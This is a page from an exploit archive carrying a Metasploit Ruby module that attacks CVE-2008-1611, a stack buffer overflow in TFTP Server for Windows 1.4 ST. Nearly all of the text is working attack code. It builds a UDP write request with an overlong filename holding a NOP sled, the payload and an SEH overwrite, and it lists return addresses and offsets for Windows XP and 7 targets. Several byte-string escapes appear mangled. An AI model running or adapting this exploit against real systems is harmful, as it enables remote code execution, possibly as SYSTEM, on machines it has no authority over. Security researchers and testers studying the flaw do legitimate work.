Home / exploits

PDF

TFTP Server for Windows 1.4 ST WRQ Buffer Overflow

Posted on 20 April 2012

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

 Rank = NormalRanking
 include Msf::Exploit::Remote::Udp

 def initialize(info = {})
 super(update_info(info,
 'Name' => 'TFTP Server for Windows 1.4 ST WRQ Buffer Overflow',
 'Description' => %q{
 This module exploits a vulnerability found in TFTP Server 1.4 ST. The flaw
 is due to the way TFTP handles the filename parameter extracted from a WRQ request.
 The server will append the user-supplied filename to TFTP server binary's path
 without any bounds checking, and then attempt to open this with a fopen(). Since
 this isn't a valid file path, fopen() returns null, which allows the corrupted
 data to be used in a strcmp() function, causing an access violation.

 Since the offset is sensitive to how the TFTP server is launched, you must know
 in advance if your victim machine launched the TFTP as a 'Service' or 'Standalone'
 , and then manually select your target accordingly. A successful attempt will lead
 to remote code execution under the context of SYSTEM if run as a service, or
 the user if run as a standalone. A failed attempt will result a denial-of-service.
 },
 'Author' =>
 [
 'Mati Aharoni', #Initial discovery, PoC
 'Datacut' #Metasploit
 ],
 'References' =>
 [
 [ 'CVE', '2008-1611' ],
 [ 'OSVDB', '43785' ],
 [ 'BID', '18345' ],
 [ 'EDB', '5314' ]
 ],
 'DefaultOptions' =>
 {
 'EXITFUNC' =>'seh',
 },
 'Payload' =>
 {
 'Space' => 600,
 'BadChars' => "x00x2f",
 'StackAdjustment' => -3500
 },
 'Platform' => 'win',
 'Targets' =>
 [
 # datacut tested ok 19/04/12 on xp sp2 sp3, win 7 sp0 sp1.
 # possible may work for other service packs and or vista
 # Rets = P/P/R from tftpserversp.exe
 [ 'Windows XP SP2/SP3 EN Service Mode', { 'Ret' => 0x416801 , 'Offset' => 1203} ],
 [ 'Windows XP SP2/SP3 EN Standalone Mode', { 'Ret' => 0x416801 , 'Offset' => 1487} ],
 [ 'Windows 7 SP0/SP1 EN x64 Service Mode', { 'Ret' => 0x416801 , 'Offset' => 1217} ],
 [ 'Windows 7 SP0/SP1 EN x64 Standalone Mode', { 'Ret' => 0x416801 , 'Offset' => 1501} ],
 [ 'Windows 7 SP0/SP1 EN x86 Service Mode', { 'Ret' => 0x416801 , 'Offset' => 1223} ],
 [ 'Windows 7 SP0/SP1 EN x86 Standalone Mode', { 'Ret' => 0x416801 , 'Offset' => 1507} ]
 ],
 'Privileged' => false,
 'DisclosureDate'=> 'Mar 26 2008',
 'DefaultTarget' => 4)) #TFTP is installed as a service

 register_options(
 [
 Opt::RPORT(69)
 ], self.class)
 end

 def exploit
 connect_udp

 nops = make_nops(50)
 lead = rand_text_alphanumeric(target['Offset'] - payload.encoded.length - nops.length)
 near = "xe9x80xfdxffxff" #jump back 640 bytes to the nop sled
 nseh = "xebxf9" + make_nops(2) #jump back 7 bytes to the long jump

 evil = lead + nops + payload.encoded + near + nseh + [target.ret].pack('V')
 mode = "netascii"

 #Send the WRQ packet (header "x00x02")
 sploit = "x00x02" + evil + "" + mode +""

 udp_sock.put(sploit)

 handler
 disconnect_udp
 end

end

 

TOP